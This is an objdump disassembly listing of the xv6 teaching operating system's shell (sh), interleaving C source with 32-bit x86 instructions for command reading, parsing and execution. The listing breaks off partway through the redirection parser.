_sh: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
return 0;
}
int
main(void)
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 51 push %ecx
e: 83 ec 04 sub $0x4,%esp
static char buf[100];
int fd;
// Ensure that three file descriptors are open.
while((fd = open("console", O_RDWR)) >= 0){
11: eb 0a jmp 1d <main+0x1d>
13: 90 nop
14: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(fd >= 3){
18: 83 f8 02 cmp $0x2,%eax
1b: 7f 76 jg 93 <main+0x93>
while((fd = open("console", O_RDWR)) >= 0){
1d: 83 ec 08 sub $0x8,%esp
20: 6a 02 push $0x2
22: 68 69 12 00 00 push $0x1269
27: e8 26 0d 00 00 call d52 <open>
2c: 83 c4 10 add $0x10,%esp
2f: 85 c0 test %eax,%eax
31: 79 e5 jns 18 <main+0x18>
33: eb 1f jmp 54 <main+0x54>
35: 8d 76 00 lea 0x0(%esi),%esi
}
}
// Read and run input commands.
while(getcmd(buf, sizeof(buf)) >= 0){
if(buf[0] == 'c' && buf[1] == 'd' && buf[2] == ' '){
38: 80 3d a2 18 00 00 20 cmpb $0x20,0x18a2
3f: 74 7a je bb <main+0xbb>
int
fork1(void)
{
int pid;
pid = fork();
41: e8 c4 0c 00 00 call d0a <fork>
if(pid == -1)
46: 83 f8 ff cmp $0xffffffff,%eax
49: 74 3b je 86 <main+0x86>
if(fork1() == 0)
4b: 85 c0 test %eax,%eax
4d: 74 57 je a6 <main+0xa6>
wait();
4f: e8 c6 0c 00 00 call d1a <wait>
while(getcmd(buf, sizeof(buf)) >= 0){
54: 83 ec 08 sub $0x8,%esp
57: 6a 64 push $0x64
59: 68 a0 18 00 00 push $0x18a0
5e: e8 9d 00 00 00 call 100 <getcmd>
63: 83 c4 10 add $0x10,%esp
66: 85 c0 test %eax,%eax
68: 78 37 js a1 <main+0xa1>
if(buf[0] == 'c' && buf[1] == 'd' && buf[2] == ' '){
6a: 80 3d a0 18 00 00 63 cmpb $0x63,0x18a0
71: 75 ce jne 41 <main+0x41>
73: 80 3d a1 18 00 00 64 cmpb $0x64,0x18a1
7a: 74 bc je 38 <main+0x38>
pid = fork();
7c: e8 89 0c 00 00 call d0a <fork>
if(pid == -1)
81: 83 f8 ff cmp $0xffffffff,%eax
84: 75 c5 jne 4b <main+0x4b>
panic("fork");
86: 83 ec 0c sub $0xc,%esp
89: 68 f2 11 00 00 push $0x11f2
8e: e8 bd 00 00 00 call 150 <panic>
close(fd);
93: 83 ec 0c sub $0xc,%esp
96: 50 push %eax
97: e8 9e 0c 00 00 call d3a <close>
break;
9c: 83 c4 10 add $0x10,%esp
9f: eb b3 jmp 54 <main+0x54>
exit();
a1: e8 6c 0c 00 00 call d12 <exit>
runcmd(parsecmd(buf));
a6: 83 ec 0c sub $0xc,%esp
a9: 68 a0 18 00 00 push $0x18a0
ae: e8 9d 09 00 00 call a50 <parsecmd>
b3: 89 04 24 mov %eax,(%esp)
b6: e8 b5 00 00 00 call 170 <runcmd>
buf[strlen(buf)-1] = 0; // chop \n
bb: 83 ec 0c sub $0xc,%esp
be: 68 a0 18 00 00 push $0x18a0
c3: e8 78 0a 00 00 call b40 <strlen>
if(chdir(buf+3) < 0)
c8: c7 04 24 a3 18 00 00 movl $0x18a3,(%esp)
buf[strlen(buf)-1] = 0; // chop \n
cf: c6 80 9f 18 00 00 00 movb $0x0,0x189f(%eax)
if(chdir(buf+3) < 0)
d6: e8 a7 0c 00 00 call d82 <chdir>
db: 83 c4 10 add $0x10,%esp
de: 85 c0 test %eax,%eax
e0: 0f 89 6e ff ff ff jns 54 <main+0x54>
printf(2, "cannot cd %s\n", buf+3);
e6: 50 push %eax
e7: 68 a3 18 00 00 push $0x18a3
ec: 68 71 12 00 00 push $0x1271
f1: 6a 02 push $0x2
f3: e8 78 0d 00 00 call e70 <printf>
f8: 83 c4 10 add $0x10,%esp
fb: e9 54 ff ff ff jmp 54 <main+0x54>
00000100 <getcmd>:
{
100: 55 push %ebp
101: 89 e5 mov %esp,%ebp
103: 56 push %esi
104: 53 push %ebx
105: 8b 75 0c mov 0xc(%ebp),%esi
108: 8b 5d 08 mov 0x8(%ebp),%ebx
printf(2, "$ ");
10b: 83 ec 08 sub $0x8,%esp
10e: 68 c8 11 00 00 push $0x11c8
113: 6a 02 push $0x2
115: e8 56 0d 00 00 call e70 <printf>
memset(buf, 0, nbuf);
11a: 83 c4 0c add $0xc,%esp
11d: 56 push %esi
11e: 6a 00 push $0x0
120: 53 push %ebx
121: e8 4a 0a 00 00 call b70 <memset>
gets(buf, nbuf);
126: 58 pop %eax
127: 5a pop %edx
128: 56 push %esi
129: 53 push %ebx
12a: e8 a1 0a 00 00 call bd0 <gets>
if(buf[0] == 0) // EOF
12f: 83 c4 10 add $0x10,%esp
132: 31 c0 xor %eax,%eax
134: 80 3b 00 cmpb $0x0,(%ebx)
137: 0f 94 c0 sete %al
}
13a: 8d 65 f8 lea -0x8(%ebp),%esp
if(buf[0] == 0) // EOF
13d: f7 d8 neg %eax
}
13f: 5b pop %ebx
140: 5e pop %esi
141: 5d pop %ebp
142: c3 ret
143: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
149: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000150 <panic>:
{
150: 55 push %ebp
151: 89 e5 mov %esp,%ebp
153: 83 ec 0c sub $0xc,%esp
printf(2, "%s\n", s);
156: ff 75 08 pushl 0x8(%ebp)
159: 68 65 12 00 00 push $0x1265
15e: 6a 02 push $0x2
160: e8 0b 0d 00 00 call e70 <printf>
exit();
165: e8 a8 0b 00 00 call d12 <exit>
16a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00000170 <runcmd>:
{
170: 55 push %ebp
171: 89 e5 mov %esp,%ebp
173: 53 push %ebx
174: 83 ec 14 sub $0x14,%esp
177: 8b 5d 08 mov 0x8(%ebp),%ebx
if(cmd == 0)
17a: 85 db test %ebx,%ebx
17c: 74 3a je 1b8 <runcmd+0x48>
switch(cmd->type){
17e: 83 3b 05 cmpl $0x5,(%ebx)
181: 0f 87 06 01 00 00 ja 28d <runcmd+0x11d>
187: 8b 03 mov (%ebx),%eax
189: ff 24 85 80 12 00 00 jmp *0x1280(,%eax,4)
if(ecmd->argv[0] == 0)
190: 8b 43 04 mov 0x4(%ebx),%eax
193: 85 c0 test %eax,%eax
195: 74 21 je 1b8 <runcmd+0x48>
exec(ecmd->argv[0], ecmd->argv);
197: 52 push %edx
198: 52 push %edx
199: 8d 53 04 lea 0x4(%ebx),%edx
19c: 52 push %edx
19d: 50 push %eax
19e: e8 a7 0b 00 00 call d4a <exec>
printf(2, "exec %s failed\n", ecmd->argv[0]);
1a3: 83 c4 0c add $0xc,%esp
1a6: ff 73 04 pushl 0x4(%ebx)
1a9: 68 d2 11 00 00 push $0x11d2
1ae: 6a 02 push $0x2
1b0: e8 bb 0c 00 00 call e70 <printf>
break;
1b5: 83 c4 10 add $0x10,%esp
exit();
1b8: e8 55 0b 00 00 call d12 <exit>
pid = fork();
1bd: e8 48 0b 00 00 call d0a <fork>
if(pid == -1)
1c2: 83 f8 ff cmp $0xffffffff,%eax
1c5: 0f 84 cf 00 00 00 je 29a <runcmd+0x12a>
if(fork1() == 0)
1cb: 85 c0 test %eax,%eax
1cd: 75 e9 jne 1b8 <runcmd+0x48>
runcmd(bcmd->cmd);
1cf: 83 ec 0c sub $0xc,%esp
1d2: ff 73 04 pushl 0x4(%ebx)
1d5: e8 96 ff ff ff call 170 <runcmd>
close(rcmd->fd);
1da: 83 ec 0c sub $0xc,%esp
1dd: ff 73 14 pushl 0x14(%ebx)
1e0: e8 55 0b 00 00 call d3a <close>
if(open(rcmd->file, rcmd->mode) < 0){
1e5: 59 pop %ecx
1e6: 58 pop %eax
1e7: ff 73 10 pushl 0x10(%ebx)
1ea: ff 73 08 pushl 0x8(%ebx)
1ed: e8 60 0b 00 00 call d52 <open>
1f2: 83 c4 10 add $0x10,%esp
1f5: 85 c0 test %eax,%eax
1f7: 79 d6 jns 1cf <runcmd+0x5f>
printf(2, "open %s failed\n", rcmd->file);
1f9: 52 push %edx
1fa: ff 73 08 pushl 0x8(%ebx)
1fd: 68 e2 11 00 00 push $0x11e2
202: 6a 02 push $0x2
204: e8 67 0c 00 00 call e70 <printf>
exit();
209: e8 04 0b 00 00 call d12 <exit>
if(pipe(p) < 0)
20e: 8d 45 f0 lea -0x10(%ebp),%eax
211: 83 ec 0c sub $0xc,%esp
214: 50 push %eax
215: e8 08 0b 00 00 call d22 <pipe>
21a: 83 c4 10 add $0x10,%esp
21d: 85 c0 test %eax,%eax
21f: 0f 88 b0 00 00 00 js 2d5 <runcmd+0x165>
pid = fork();
225: e8 e0 0a 00 00 call d0a <fork>
if(pid == -1)
22a: 83 f8 ff cmp $0xffffffff,%eax
22d: 74 6b je 29a <runcmd+0x12a>
if(fork1() == 0){
22f: 85 c0 test %eax,%eax
231: 0f 84 ab 00 00 00 je 2e2 <runcmd+0x172>
pid = fork();
237: e8 ce 0a 00 00 call d0a <fork>
if(pid == -1)
23c: 83 f8 ff cmp $0xffffffff,%eax
23f: 74 59 je 29a <runcmd+0x12a>
if(fork1() == 0){
241: 85 c0 test %eax,%eax
243: 74 62 je 2a7 <runcmd+0x137>
close(p[0]);
245: 83 ec 0c sub $0xc,%esp
248: ff 75 f0 pushl -0x10(%ebp)
24b: e8 ea 0a 00 00 call d3a <close>
close(p[1]);
250: 58 pop %eax
251: ff 75 f4 pushl -0xc(%ebp)
254: e8 e1 0a 00 00 call d3a <close>
wait();
259: e8 bc 0a 00 00 call d1a <wait>
wait();
25e: e8 b7 0a 00 00 call d1a <wait>
break;
263: 83 c4 10 add $0x10,%esp
266: e9 4d ff ff ff jmp 1b8 <runcmd+0x48>
pid = fork();
26b: e8 9a 0a 00 00 call d0a <fork>
if(pid == -1)
270: 83 f8 ff cmp $0xffffffff,%eax
273: 74 25 je 29a <runcmd+0x12a>
if(fork1() == 0)
275: 85 c0 test %eax,%eax
277: 0f 84 52 ff ff ff je 1cf <runcmd+0x5f>
wait();
27d: e8 98 0a 00 00 call d1a <wait>
runcmd(lcmd->right);
282: 83 ec 0c sub $0xc,%esp
285: ff 73 08 pushl 0x8(%ebx)
288: e8 e3 fe ff ff call 170 <runcmd>
panic("runcmd");
28d: 83 ec 0c sub $0xc,%esp
290: 68 cb 11 00 00 push $0x11cb
295: e8 b6 fe ff ff call 150 <panic>
panic("fork");
29a: 83 ec 0c sub $0xc,%esp
29d: 68 f2 11 00 00 push $0x11f2
2a2: e8 a9 fe ff ff call 150 <panic>
close(0);
2a7: 83 ec 0c sub $0xc,%esp
2aa: 6a 00 push $0x0
2ac: e8 89 0a 00 00 call d3a <close>
dup(p[0]);
2b1: 5a pop %edx
2b2: ff 75 f0 pushl -0x10(%ebp)
2b5: e8 d0 0a 00 00 call d8a <dup>
close(p[0]);
2ba: 59 pop %ecx
2bb: ff 75 f0 pushl -0x10(%ebp)
2be: e8 77 0a 00 00 call d3a <close>
close(p[1]);
2c3: 58 pop %eax
2c4: ff 75 f4 pushl -0xc(%ebp)
2c7: e8 6e 0a 00 00 call d3a <close>
runcmd(pcmd->right);
2cc: 58 pop %eax
2cd: ff 73 08 pushl 0x8(%ebx)
2d0: e8 9b fe ff ff call 170 <runcmd>
panic("pipe");
2d5: 83 ec 0c sub $0xc,%esp
2d8: 68 f7 11 00 00 push $0x11f7
2dd: e8 6e fe ff ff call 150 <panic>
close(1);
2e2: 83 ec 0c sub $0xc,%esp
2e5: 6a 01 push $0x1
2e7: e8 4e 0a 00 00 call d3a <close>
dup(p[1]);
2ec: 58 pop %eax
2ed: ff 75 f4 pushl -0xc(%ebp)
2f0: e8 95 0a 00 00 call d8a <dup>
close(p[0]);
2f5: 58 pop %eax
2f6: ff 75 f0 pushl -0x10(%ebp)
2f9: e8 3c 0a 00 00 call d3a <close>
close(p[1]);
2fe: 58 pop %eax
2ff: ff 75 f4 pushl -0xc(%ebp)
302: e8 33 0a 00 00 call d3a <close>
runcmd(pcmd->left);
307: 58 pop %eax
308: ff 73 04 pushl 0x4(%ebx)
30b: e8 60 fe ff ff call 170 <runcmd>
00000310 <fork1>:
{
310: 55 push %ebp
311: 89 e5 mov %esp,%ebp
313: 83 ec 08 sub $0x8,%esp
pid = fork();
316: e8 ef 09 00 00 call d0a <fork>
if(pid == -1)
31b: 83 f8 ff cmp $0xffffffff,%eax
31e: 74 02 je 322 <fork1+0x12>
return pid;
}
320: c9 leave
321: c3 ret
panic("fork");
322: 83 ec 0c sub $0xc,%esp
325: 68 f2 11 00 00 push $0x11f2
32a: e8 21 fe ff ff call 150 <panic>
32f: 90 nop
00000330 <execcmd>:
//PAGEBREAK!
// Constructors
struct cmd*
execcmd(void)
{
330: 55 push %ebp
331: 89 e5 mov %esp,%ebp
333: 53 push %ebx
334: 83 ec 10 sub $0x10,%esp
struct execcmd *cmd;
cmd = malloc(sizeof(*cmd));
337: 6a 54 push $0x54
339: e8 92 0d 00 00 call 10d0 <malloc>
memset(cmd, 0, sizeof(*cmd));
33e: 83 c4 0c add $0xc,%esp
cmd = malloc(sizeof(*cmd));
341: 89 c3 mov %eax,%ebx
memset(cmd, 0, sizeof(*cmd));
343: 6a 54 push $0x54
345: 6a 00 push $0x0
347: 50 push %eax
348: e8 23 08 00 00 call b70 <memset>
cmd->type = EXEC;
34d: c7 03 01 00 00 00 movl $0x1,(%ebx)
return (struct cmd*)cmd;
}
353: 89 d8 mov %ebx,%eax
355: 8b 5d fc mov -0x4(%ebp),%ebx
358: c9 leave
359: c3 ret
35a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00000360 <redircmd>:
struct cmd*
redircmd(struct cmd *subcmd, char *file, char *efile, int mode, int fd)
{
360: 55 push %ebp
361: 89 e5 mov %esp,%ebp
363: 53 push %ebx
364: 83 ec 10 sub $0x10,%esp
struct redircmd *cmd;
cmd = malloc(sizeof(*cmd));
367: 6a 18 push $0x18
369: e8 62 0d 00 00 call 10d0 <malloc>
memset(cmd, 0, sizeof(*cmd));
36e: 83 c4 0c add $0xc,%esp
cmd = malloc(sizeof(*cmd));
371: 89 c3 mov %eax,%ebx
memset(cmd, 0, sizeof(*cmd));
373: 6a 18 push $0x18
375: 6a 00 push $0x0
377: 50 push %eax
378: e8 f3 07 00 00 call b70 <memset>
cmd->type = REDIR;
cmd->cmd = subcmd;
37d: 8b 45 08 mov 0x8(%ebp),%eax
cmd->type = REDIR;
380: c7 03 02 00 00 00 movl $0x2,(%ebx)
cmd->cmd = subcmd;
386: 89 43 04 mov %eax,0x4(%ebx)
cmd->file = file;
389: 8b 45 0c mov 0xc(%ebp),%eax
38c: 89 43 08 mov %eax,0x8(%ebx)
cmd->efile = efile;
38f: 8b 45 10 mov 0x10(%ebp),%eax
392: 89 43 0c mov %eax,0xc(%ebx)
cmd->mode = mode;
395: 8b 45 14 mov 0x14(%ebp),%eax
398: 89 43 10 mov %eax,0x10(%ebx)
cmd->fd = fd;
39b: 8b 45 18 mov 0x18(%ebp),%eax
39e: 89 43 14 mov %eax,0x14(%ebx)
return (struct cmd*)cmd;
}
3a1: 89 d8 mov %ebx,%eax
3a3: 8b 5d fc mov -0x4(%ebp),%ebx
3a6: c9 leave
3a7: c3 ret
3a8: 90 nop
3a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000003b0 <pipecmd>:
struct cmd*
pipecmd(struct cmd *left, struct cmd *right)
{
3b0: 55 push %ebp
3b1: 89 e5 mov %esp,%ebp
3b3: 53 push %ebx
3b4: 83 ec 10 sub $0x10,%esp
struct pipecmd *cmd;
cmd = malloc(sizeof(*cmd));
3b7: 6a 0c push $0xc
3b9: e8 12 0d 00 00 call 10d0 <malloc>
memset(cmd, 0, sizeof(*cmd));
3be: 83 c4 0c add $0xc,%esp
cmd = malloc(sizeof(*cmd));
3c1: 89 c3 mov %eax,%ebx
memset(cmd, 0, sizeof(*cmd));
3c3: 6a 0c push $0xc
3c5: 6a 00 push $0x0
3c7: 50 push %eax
3c8: e8 a3 07 00 00 call b70 <memset>
cmd->type = PIPE;
cmd->left = left;
3cd: 8b 45 08 mov 0x8(%ebp),%eax
cmd->type = PIPE;
3d0: c7 03 03 00 00 00 movl $0x3,(%ebx)
cmd->left = left;
3d6: 89 43 04 mov %eax,0x4(%ebx)
cmd->right = right;
3d9: 8b 45 0c mov 0xc(%ebp),%eax
3dc: 89 43 08 mov %eax,0x8(%ebx)
return (struct cmd*)cmd;
}
3df: 89 d8 mov %ebx,%eax
3e1: 8b 5d fc mov -0x4(%ebp),%ebx
3e4: c9 leave
3e5: c3 ret
3e6: 8d 76 00 lea 0x0(%esi),%esi
3e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000003f0 <listcmd>:
struct cmd*
listcmd(struct cmd *left, struct cmd *right)
{
3f0: 55 push %ebp
3f1: 89 e5 mov %esp,%ebp
3f3: 53 push %ebx
3f4: 83 ec 10 sub $0x10,%esp
struct listcmd *cmd;
cmd = malloc(sizeof(*cmd));
3f7: 6a 0c push $0xc
3f9: e8 d2 0c 00 00 call 10d0 <malloc>
memset(cmd, 0, sizeof(*cmd));
3fe: 83 c4 0c add $0xc,%esp
cmd = malloc(sizeof(*cmd));
401: 89 c3 mov %eax,%ebx
memset(cmd, 0, sizeof(*cmd));
403: 6a 0c push $0xc
405: 6a 00 push $0x0
407: 50 push %eax
408: e8 63 07 00 00 call b70 <memset>
cmd->type = LIST;
cmd->left = left;
40d: 8b 45 08 mov 0x8(%ebp),%eax
cmd->type = LIST;
410: c7 03 04 00 00 00 movl $0x4,(%ebx)
cmd->left = left;
416: 89 43 04 mov %eax,0x4(%ebx)
cmd->right = right;
419: 8b 45 0c mov 0xc(%ebp),%eax
41c: 89 43 08 mov %eax,0x8(%ebx)
return (struct cmd*)cmd;
}
41f: 89 d8 mov %ebx,%eax
421: 8b 5d fc mov -0x4(%ebp),%ebx
424: c9 leave
425: c3 ret
426: 8d 76 00 lea 0x0(%esi),%esi
429: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000430 <backcmd>:
struct cmd*
backcmd(struct cmd *subcmd)
{
430: 55 push %ebp
431: 89 e5 mov %esp,%ebp
433: 53 push %ebx
434: 83 ec 10 sub $0x10,%esp
struct backcmd *cmd;
cmd = malloc(sizeof(*cmd));
437: 6a 08 push $0x8
439: e8 92 0c 00 00 call 10d0 <malloc>
memset(cmd, 0, sizeof(*cmd));
43e: 83 c4 0c add $0xc,%esp
cmd = malloc(sizeof(*cmd));
441: 89 c3 mov %eax,%ebx
memset(cmd, 0, sizeof(*cmd));
443: 6a 08 push $0x8
445: 6a 00 push $0x0
447: 50 push %eax
448: e8 23 07 00 00 call b70 <memset>
cmd->type = BACK;
cmd->cmd = subcmd;
44d: 8b 45 08 mov 0x8(%ebp),%eax
cmd->type = BACK;
450: c7 03 05 00 00 00 movl $0x5,(%ebx)
cmd->cmd = subcmd;
456: 89 43 04 mov %eax,0x4(%ebx)
return (struct cmd*)cmd;
}
459: 89 d8 mov %ebx,%eax
45b: 8b 5d fc mov -0x4(%ebp),%ebx
45e: c9 leave
45f: c3 ret
00000460 <gettoken>:
char whitespace[] = " \t\r\n\v";
char symbols[] = "<|>&;()";
int
gettoken(char **ps, char *es, char **q, char **eq)
{
460: 55 push %ebp
461: 89 e5 mov %esp,%ebp
463: 57 push %edi
464: 56 push %esi
465: 53 push %ebx
466: 83 ec 0c sub $0xc,%esp
char *s;
int ret;
s = *ps;
469: 8b 45 08 mov 0x8(%ebp),%eax
{
46c: 8b 5d 0c mov 0xc(%ebp),%ebx
46f: 8b 7d 10 mov 0x10(%ebp),%edi
s = *ps;
472: 8b 30 mov (%eax),%esi
while(s < es && strchr(whitespace, *s))
474: 39 de cmp %ebx,%esi
476: 72 0f jb 487 <gettoken+0x27>
478: eb 25 jmp 49f <gettoken+0x3f>
47a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
s++;
480: 83 c6 01 add $0x1,%esi
while(s < es && strchr(whitespace, *s))
483: 39 f3 cmp %esi,%ebx
485: 74 18 je 49f <gettoken+0x3f>
487: 0f be 06 movsbl (%esi),%eax
48a: 83 ec 08 sub $0x8,%esp
48d: 50 push %eax
48e: 68 7c 18 00 00 push $0x187c
493: e8 f8 06 00 00 call b90 <strchr>
498: 83 c4 10 add $0x10,%esp
49b: 85 c0 test %eax,%eax
49d: 75 e1 jne 480 <gettoken+0x20>
if(q)
49f: 85 ff test %edi,%edi
4a1: 74 02 je 4a5 <gettoken+0x45>
*q = s;
4a3: 89 37 mov %esi,(%edi)
ret = *s;
4a5: 0f be 06 movsbl (%esi),%eax
switch(*s){
4a8: 3c 29 cmp $0x29,%al
4aa: 7f 54 jg 500 <gettoken+0xa0>
4ac: 3c 28 cmp $0x28,%al
4ae: 0f 8d c8 00 00 00 jge 57c <gettoken+0x11c>
4b4: 31 ff xor %edi,%edi
4b6: 84 c0 test %al,%al
4b8: 0f 85 d2 00 00 00 jne 590 <gettoken+0x130>
ret = 'a';
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
s++;
break;
}
if(eq)
4be: 8b 55 14 mov 0x14(%ebp),%edx
4c1: 85 d2 test %edx,%edx
4c3: 74 05 je 4ca <gettoken+0x6a>
*eq = s;
4c5: 8b 45 14 mov 0x14(%ebp),%eax
4c8: 89 30 mov %esi,(%eax)
while(s < es && strchr(whitespace, *s))
4ca: 39 de cmp %ebx,%esi
4cc: 72 09 jb 4d7 <gettoken+0x77>
4ce: eb 1f jmp 4ef <gettoken+0x8f>
s++;
4d0: 83 c6 01 add $0x1,%esi
while(s < es && strchr(whitespace, *s))
4d3: 39 f3 cmp %esi,%ebx
4d5: 74 18 je 4ef <gettoken+0x8f>
4d7: 0f be 06 movsbl (%esi),%eax
4da: 83 ec 08 sub $0x8,%esp
4dd: 50 push %eax
4de: 68 7c 18 00 00 push $0x187c
4e3: e8 a8 06 00 00 call b90 <strchr>
4e8: 83 c4 10 add $0x10,%esp
4eb: 85 c0 test %eax,%eax
4ed: 75 e1 jne 4d0 <gettoken+0x70>
*ps = s;
4ef: 8b 45 08 mov 0x8(%ebp),%eax
4f2: 89 30 mov %esi,(%eax)
return ret;
}
4f4: 8d 65 f4 lea -0xc(%ebp),%esp
4f7: 89 f8 mov %edi,%eax
4f9: 5b pop %ebx
4fa: 5e pop %esi
4fb: 5f pop %edi
4fc: 5d pop %ebp
4fd: c3 ret
4fe: 66 90 xchg %ax,%ax
switch(*s){
500: 3c 3e cmp $0x3e,%al
502: 75 1c jne 520 <gettoken+0xc0>
if(*s == '>'){
504: 80 7e 01 3e cmpb $0x3e,0x1(%esi)
s++;
508: 8d 46 01 lea 0x1(%esi),%eax
if(*s == '>'){
50b: 0f 84 a4 00 00 00 je 5b5 <gettoken+0x155>
s++;
511: 89 c6 mov %eax,%esi
513: bf 3e 00 00 00 mov $0x3e,%edi
518: eb a4 jmp 4be <gettoken+0x5e>
51a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
switch(*s){
520: 7f 56 jg 578 <gettoken+0x118>
522: 8d 48 c5 lea -0x3b(%eax),%ecx
525: 80 f9 01 cmp $0x1,%cl
528: 76 52 jbe 57c <gettoken+0x11c>
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
52a: 39 f3 cmp %esi,%ebx
52c: 77 24 ja 552 <gettoken+0xf2>
52e: eb 70 jmp 5a0 <gettoken+0x140>
530: 0f be 06 movsbl (%esi),%eax
533: 83 ec 08 sub $0x8,%esp
536: 50 push %eax
537: 68 74 18 00 00 push $0x1874
53c: e8 4f 06 00 00 call b90 <strchr>
541: 83 c4 10 add $0x10,%esp
544: 85 c0 test %eax,%eax
546: 75 1f jne 567 <gettoken+0x107>
s++;
548: 83 c6 01 add $0x1,%esi
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
54b: 39 f3 cmp %esi,%ebx
54d: 74 51 je 5a0 <gettoken+0x140>
54f: 0f be 06 movsbl (%esi),%eax
552: 83 ec 08 sub $0x8,%esp
555: 50 push %eax
556: 68 7c 18 00 00 push $0x187c
55b: e8 30 06 00 00 call b90 <strchr>
560: 83 c4 10 add $0x10,%esp
563: 85 c0 test %eax,%eax
565: 74 c9 je 530 <gettoken+0xd0>
ret = 'a';
567: bf 61 00 00 00 mov $0x61,%edi
56c: e9 4d ff ff ff jmp 4be <gettoken+0x5e>
571: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
switch(*s){
578: 3c 7c cmp $0x7c,%al
57a: 75 ae jne 52a <gettoken+0xca>
ret = *s;
57c: 0f be f8 movsbl %al,%edi
s++;
57f: 83 c6 01 add $0x1,%esi
break;
582: e9 37 ff ff ff jmp 4be <gettoken+0x5e>
587: 89 f6 mov %esi,%esi
589: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
switch(*s){
590: 3c 26 cmp $0x26,%al
592: 75 96 jne 52a <gettoken+0xca>
594: eb e6 jmp 57c <gettoken+0x11c>
596: 8d 76 00 lea 0x0(%esi),%esi
599: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
if(eq)
5a0: 8b 45 14 mov 0x14(%ebp),%eax
5a3: bf 61 00 00 00 mov $0x61,%edi
5a8: 85 c0 test %eax,%eax
5aa: 0f 85 15 ff ff ff jne 4c5 <gettoken+0x65>
5b0: e9 3a ff ff ff jmp 4ef <gettoken+0x8f>
s++;
5b5: 83 c6 02 add $0x2,%esi
ret = '+';
5b8: bf 2b 00 00 00 mov $0x2b,%edi
5bd: e9 fc fe ff ff jmp 4be <gettoken+0x5e>
5c2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
5c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000005d0 <peek>:
int
peek(char **ps, char *es, char *toks)
{
5d0: 55 push %ebp
5d1: 89 e5 mov %esp,%ebp
5d3: 57 push %edi
5d4: 56 push %esi
5d5: 53 push %ebx
5d6: 83 ec 0c sub $0xc,%esp
5d9: 8b 7d 08 mov 0x8(%ebp),%edi
5dc: 8b 75 0c mov 0xc(%ebp),%esi
char *s;
s = *ps;
5df: 8b 1f mov (%edi),%ebx
while(s < es && strchr(whitespace, *s))
5e1: 39 f3 cmp %esi,%ebx
5e3: 72 12 jb 5f7 <peek+0x27>
5e5: eb 28 jmp 60f <peek+0x3f>
5e7: 89 f6 mov %esi,%esi
5e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
s++;
5f0: 83 c3 01 add $0x1,%ebx
while(s < es && strchr(whitespace, *s))
5f3: 39 de cmp %ebx,%esi
5f5: 74 18 je 60f <peek+0x3f>
5f7: 0f be 03 movsbl (%ebx),%eax
5fa: 83 ec 08 sub $0x8,%esp
5fd: 50 push %eax
5fe: 68 7c 18 00 00 push $0x187c
603: e8 88 05 00 00 call b90 <strchr>
608: 83 c4 10 add $0x10,%esp
60b: 85 c0 test %eax,%eax
60d: 75 e1 jne 5f0 <peek+0x20>
*ps = s;
60f: 89 1f mov %ebx,(%edi)
return *s && strchr(toks, *s);
611: 0f be 13 movsbl (%ebx),%edx
614: 31 c0 xor %eax,%eax
616: 84 d2 test %dl,%dl
618: 74 17 je 631 <peek+0x61>
61a: 83 ec 08 sub $0x8,%esp
61d: 52 push %edx
61e: ff 75 10 pushl 0x10(%ebp)
621: e8 6a 05 00 00 call b90 <strchr>
626: 83 c4 10 add $0x10,%esp
629: 85 c0 test %eax,%eax
62b: 0f 95 c0 setne %al
62e: 0f b6 c0 movzbl %al,%eax
}
631: 8d 65 f4 lea -0xc(%ebp),%esp
634: 5b pop %ebx
635: 5e pop %esi
636: 5f pop %edi
637: 5d pop %ebp
638: c3 ret
639: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000640 <parseredirs>:
return cmd;
}
struct cmd*
parseredirs(struct cmd *cmd, char **ps, char *es)
{
640: 55 push %ebp
641: 89 e5 mov %esp,%ebp
643: 57 push %edi
644: 56 push %esi
645: 53 push %ebx
646: 83 ec 1c sub $0x1c,%esp
649: 8b 75 0c mov 0xc(%ebp),%esi
64c: 8b 5d 10 mov 0x10(%ebp),%ebx
64f: 90 nop
int tok;
char *q, *eq;
while(peek(ps, es, "<>")){
650: 83 ec 04 sub $0x4,%esp
653: 68 19 12 00 00 push $0x1219
658: 53 push %ebx
659: 56 push %esi
65a: e8 71 ff ff ff call 5d0 <peek>
65f: 83 c4 10 add $0x10,%esp
662: 85 c0 test %eax,%eax
664: 74 6a je 6d0 <parseredirs+0x90>
tok = gettoken(ps, es, 0, 0);
666: 6a 00 push $0x0
668: 6a 00 push $0x0
66a: 53 push %ebx
66b: 56 push %esi
66c: e8 ef fd ff ff call 460 <gettoken>
671: 89 c7 mov %eax,%edi
if(gettoken(ps, es, &q, &eq) != 'a')
673: 8d 45 e4 lea -0x1c(%ebp),%eax
676: 50 push %eax
677: 8d 45 e0 lea -0x20(%ebp),%eax
67a: 50 push %eax
67b: 53 push %ebx
67c: 56 push %esi
67d: e8 de fd ff ff call 460 <gettoken>
682: 83 c4 20 add $0x20,%esp
685: 83 f8 61 cmp $0x61,%eax
688: 75 51 jne 6db <parseredirs+0x9b>
panic("missing file for redirection");
switch(tok){
68a: 83 ff 3c cmp $0x3c,%edi
68d: 74 31 je 6c0 <parseredirs+0x80>
68f: 83 ff 3e cmp $0x3e,%edi
